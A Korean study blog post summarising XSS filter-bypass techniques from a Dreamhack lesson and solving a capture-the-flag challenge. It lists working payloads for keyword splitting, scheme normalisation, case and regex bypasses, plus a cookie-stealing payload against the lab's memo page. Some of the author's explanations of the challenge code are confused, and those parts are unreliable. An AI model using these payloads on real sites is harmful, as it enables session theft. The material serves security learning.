촉촉한초코칩
Dreamhack - XSS Filtering Bypass 본문
관련 내용에 대해 알아야 할 것 같아서 관련 내용을 정리해보았다.
XSS Filtering Bypass
XSS를 방어하기 위해 필터링을 추가했을 때 이를 우회하는 방법 소개
1) 불충분한 XSS 필터링
- XSS 필터링을 통해 보안 유지
- 보안을 위해 XSS 필터링은 안전하다고 알려진 마크업만 허용하는 보수적인 방식을 취해야 함
- 일부 문자열만을 바탕으로 필터를 하게 되면 허위양성 (False Positive) 또는 허위음성 (False Negative) 발생 → 필터링 자체가 이루어지지 못하게 됨
이벤트 핸들러 속성
- 자바 스크립트 코드 실행할 수 있는 HTML 태그 : <script>, 이벤트 핸들러 지정하는 <on> 등
- 이벤트 핸들러 : 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수 → 이벤트 핸들러 안에 XSS 공격 코드 삽입할 수 있음
1. onload 이벤트 핸들러
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
이미지 로드 성공, onload 실행 o
<img src="about:invalid" onload="alert(document.domain)">
이미지 로드 실패, onload 실행 x
2. onerror 이벤트 핸들러
<img src="valid.jpg" onerror="alert(document.domain)">
유효한 이미지 로드 성공, onerror 핸들러 실행 x
<img src="about:invalid" onerror="alert(document.domain)">
이미지 로드 실패, onerror 핸들러 실행 o
3. onfocuse 이벤트 핸들러
input 태그에 커서 클릭하여 포커스될 때 실행되는 이벤트 핸들러
input 태그의 autofocuse 속성을 이용해 자동으로 포커스 시키거나 URL의 hash 부분에 input 태그의 id 속성 값을 입력한다.
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
페이지가 로드되자마자 input 태그에 포커스됨, onfocus 핸들러 실행 o
문자열 치환
- 의심되는 구문을 거부하는 대신 단순히 치환 혹은 제거하는 방식의 필터링 방법
- 만약 단순히 의심되는 구문을 제거할 경우, 필터링되는 키워드 사이에 새로운 필터링 키워드를 삽입하는 방식으로 우회 가능하다.
ex) script 키워드가 제거 리스트에 포함되어 있다면, scrscriptipt와 같이 중간에 삽입한다. - 하지만 문자열 치환 필터링은 필터링 자체가 무력화될 뿐더러 웹 응용 방화벽 (Web Application Firewall)에서 페이로드를 탐지하지 못하는 등의 부작용이 발생한다.
페이로드 탐지하지 못하는 부작용
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
- 대응 방안으로 문자열에 변화가 없을 때까지 지속적으로 치환하는 방식을 사용한다.
특정 키워드가 최종 마크업에 등장하지 않도록 하는 데에는 효과적일 수 있지만 미처 고려하지 못한 구문의 존재, WAF 방어 무력화 등은 동일하다.
대응방안
function replaceIterate(text) {
while (true) {
var newText = text
.replace(/script|onerror/gi, '');
if (newText === text) break;
text = newText;
}
return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,<svg>" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="<sonerrorcript>parent.alescronerroriptrt(1)</scrionerrorpt>" />')
--> <iframe srcdoc="<>parent.alert(1)</>" />
활성 하이퍼링크
- HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있다.
- 이중 javascript: 스키마 : URL 로드 시 자바스크립트 코드 실행
→ URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용 가능 - 대응 방법 : XSS 키워드 필터링할 떄 javascript: 스키마를 사용하지 못하도록 필터링하는 경우 존재
a 태그 및 iframe 태그 예시
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
- 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화를 이용해 우회 가능
- 우회 : \x01, \x04, \t와 같은 특수 문자들이 제거되고 스키마의 대소문자가 통일됨
- * 정규화 : 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
- HTML 태그 속성 : HTML Entity Encoding 사용 가능
- 우회 : javascript: 스키마나 이 외의 XSS 키워드 인코딩
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
- 자바스크립트에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며 protocol, hostname 등 URL의 각종 정보 추출 가능하다.
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
태그와 속성 기반 필터링
→ 취약한 필터링 예시
1) 대문자 혹은 소문자만 인식하는 필터 우회
대소문자 모두 검사하지 않는 방식
x => !x.includes('script') && !x.includes('on')
대소문자 검사 미흡 우회
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
2) 잘못된 정규표현식을 사용한 필터 우회
- 정규표현식 필터링 자체에 문제가 있는 경우 정규표현식을 만족하면서 XSS 공격 구문을 삽입하는 것이 가능하다.
스크립트 태그 내 데이터 존재 여부 검사
x => !/<script[^>]*>[^<]/i.test(x)
-> 우회 : 태그 내에 데이터가 존재하지 않아도 src 속성을 이용해 데이터를 입력할 수 있다.
<script src="data:,alert(document.cookie)"></script>
img 태그에 on 이벤트 핸들러 검사
x => !/<img.*on/i.test(x)
-> 우회 : 멀티 라인에 대한 검사가 존재하지 않기 때문에 줄바꿈 문자를 이용해 우회할 수 있다.
<img src=""\nonerror="alert(document.cookie)"/>
3) 특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회
태그 검사 예시 (script, img, input 태그 필터링)
x => !/<script|<img|<input/i.test(x)
-> 우회
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/
대응 방법
- on 이벤트 핸들러 사용 불가능
- 멀티 라인 지원하는 문자 검사
on 이벤트 핸들러 및 멀티 라인 문자 검사
x => !/<script|<img|<input|<.*on/is.test(x)
-> 우회 : 새로운 inner frame 생성하는 iframe 태그 이용
(iframe 태그의 src 속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드 삽입 가능)
-> 우회 : srcdoc 속성 사용 (inner frame 내에 새로운 XSS 공격 코드 삽입 가능)
on 이벤트 핸들러 및 멀티 라인 문자 검사 우회
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
문제 코드
1) /vuln 페이지
- url에서 파라미터로 받은 값에 script, on, javascript: 키워드를 필터링한다.
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
2) flag 페이지
- check_xss 함수에 파라미터 값과 flag, FLAG.stript() 값을 보낸다.
- check_xss 함수 : 파라미터로 받은 값을 URL 인코딩시킨다. 그리고 url과 cookie 값을 반환한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
3) memo 페이지
- 파라미터로 받은 값과 memo_text의 값을 합쳐서 보여준다.
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
vuln 페이지의 param 값에 따라 check_xss에서 url과 cookie 값을 반환하고 check_xss가 틀리면 flag가 출력되는 것 같다.
xss_filter에는 script, on, javascript:를 필터링하고, 이 값이 있을 경우 텍스트를 모두 소문자로 변환시켜서 반환한다.
memo에서 파라미터로 반환된 값을 출력하므로 여기에 cookie 값을 출력하는 코드를 넣어주면 된다.
<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>
아직도 흐름을 잘 이해못하겠다...
'Study > Web Hacking' 카테고리의 다른 글
Dreamhack - simple_sqli_chatgpt (0) | 2024.08.14 |
---|---|
Dreamhack - php7cmp4re (0) | 2024.08.07 |
Dreamhack - php-1 (0) | 2024.07.31 |
Dreamhack - simple-ssti (0) | 2024.07.31 |
Dreamhack - simple-web-request (0) | 2024.07.25 |